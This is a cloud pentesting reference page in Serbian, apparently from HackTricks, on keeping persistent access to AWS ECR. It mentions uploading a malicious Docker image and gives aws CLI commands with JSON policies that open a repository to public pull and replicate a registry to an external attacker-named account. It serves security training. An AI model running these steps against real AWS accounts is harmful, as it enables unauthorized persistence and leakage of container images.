# AWS - ECR Persistence

{{#include ../../../banners/hacktricks-training.md}}

## ECR

Za više informacija pogledajte:

{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}

### Sakrivena Docker slika sa zloćudnim kodom

Napadač bi mogao **da otpremi Docker sliku koja sadrži zloćudni kod** u ECR repozitorijum i koristi je za održavanje postojanosti u ciljanom AWS nalogu. Napadač bi zatim mogao da implementira zloćudnu sliku na razne usluge unutar naloga, kao što su Amazon ECS ili EKS, na diskretan način.

### Politika repozitorijuma

Dodajte politiku jednom repozitorijumu koja vam omogućava (ili svima) pristup repozitorijumu:
```bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
> [!WARNING]
> Imajte na umu da ECR zahteva da korisnici imaju **dozvolu** da pozivaju **`ecr:GetAuthorizationToken`** API putem IAM politike **pre nego što se mogu autentifikovati** na registru i slati ili preuzimati slike iz bilo kog Amazon ECR repozitorijuma.

### Politika registra i replikacija između naloga

Moguće je automatski replicirati registar u eksternom nalogu konfigurisanjem replikacije između naloga, gde treba da **naznačite eksterni nalog** u kojem želite da replicirate registar.

<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>

Prvo, treba da date eksternom nalogu pristup registru putem **politike registra** kao što je:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
Zatim primenite konfiguraciju replikacije:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
```
{{#include ../../../banners/hacktricks-training.md}}
